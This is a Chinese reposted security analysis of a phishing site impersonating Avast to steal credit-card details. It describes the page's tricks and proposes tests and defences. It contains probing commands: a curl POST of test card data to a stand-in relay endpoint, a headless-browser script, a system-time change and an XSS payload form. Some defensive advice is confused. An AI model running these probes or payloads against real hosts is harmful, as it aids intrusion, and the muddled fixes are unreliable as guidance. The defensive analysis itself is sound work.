[业内新闻动态] [【转载】] 不法分子利用虚假的Avast网站窃取用户信用卡信息

结论： 该钓鱼攻击通过精准的社会工程学设计、动态内容生成技术和隐蔽的数据验证机制，实现了高转化率的凭证窃取。攻击核心包括伪造可信环境诱导恐慌心理、客户端数据预验证过滤无效卡号、实时人工交互增强可信度、数据隐蔽中继传输四大技术特征，需从流量行为、代码逻辑、交互流程三维度进行溯源防御。

L1攻击面识别：

1. 数据源入口：用户信用卡表单提交（sink点）与JavaScript动态内容注入（source点）
2. 关键基础设施：
   • 动态日期脚本（系统时间读取→交易记录伪造）
   • Luhn算法校验模块（信用卡号预验证）
   • Tawk.to实时聊天组件（交互诱导）
   • send.php数据中继端点（敏感数据聚合点）
3. 攻击链路：钓鱼页面→JavaScript动态渲染欺诈信息→Luhn算法过滤→send.php中继→攻击者后端存储

L2假设与验证：

1. 动态内容验证：

   # 使用headless浏览器模拟不同访问时间，检查交易日期是否与系统时间绑定
   docker run --rm -it --entrypoint /bin/sh puppeteer \
   -c 'node -e "require(\'puppeteer\').launch({headless: false}).then(async b => {const page = await b.newPage(); await page.goto(\'http://fake-avast.com\'); await page.waitForSelector(\'.transaction-date-selector\'); console.log(await page.$eval(\'.transaction-date-selector\', el => el.textContent));})"'

   验证预期：显示访问当日时间戳的交易记录

2. Luhn算法逆向验证：

   // 在页面控制台执行以下代码伪造无效卡号
   document.querySelector('#card-number').value = '4111-1111-1111-1111';
   document.querySelector('form').dispatchEvent(new Event('submit', {bubbles: true}));

   验证预期：表单提交被客户端拦截并提示格式错误

3. 数据中继端点定位：

   curl -v 'http://fake-domain/send.php' \
   -H 'Content-Type: application/json' \
   -d '{"ccn":"4111111111111111","cvv":"123","exp":"12/24"}' 2>&1 | grep 'HTTP/'

   验证预期：返回200且无安全校验机制

L3边界/异常场景：

1. 时间越界测试：

   # 使用系统时间劫持工具将本地时间设置为交易发生后第4天
   timedatectl set-time '2024-03-01 10:00:00'
   curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' 'http://fake-avast.com'

   验证预期：确认72小时倒计时逻辑是否失效

2. 跨域攻击场景：

   // 构造XSS载荷测试数据侧漏风险
   <form action="http://fake-domain/send.php" method="POST">
     <input name="ccn" value='<script>alert(1)</script>'>
   </form>

   验证预期：观察后端是否对特殊字符进行过滤处理

L4防御反推与修复：

1. 客户端防御：

   • 在Avast官网部署Subresource Integrity(SRI)验证第三方脚本（针对Tawk.to组件）
   • 实施CSP策略阻断非官方CDN资源加载（如防盗版logo来源）
   • 在支付页面强制启用WebAuthn替代传统卡密输入

2. 流量防御：

   • 监控CDN日志中异常的Tawk.to帐户ID（689773de2f0f7c192611b3bf）访问模式
   • 配置WAF规则拦截包含Luhn算法特征的JS请求（特征值："mod10"逻辑运算）
   • 实施RASP防护拦截非预期的send.php POST请求（需排除历史合法接口）

3. 用户端加固：

   • 推送安全补丁强制HTTPS+HSTS，阻断中间人动态内容注入
   • 在安全软件中内置钓鱼URL数据库，实时拦截仿冒域名
   • 对用户进行社会工程学对抗训练，重点识别"即时退款需二次验证"等反常流程

注：需通过蜜罐捕获真实攻击样本进行流量全量分析，重点追踪send.php返回的JSON结构特征，建议结合被动DNS分析攻击者基础设施的地理分布模式。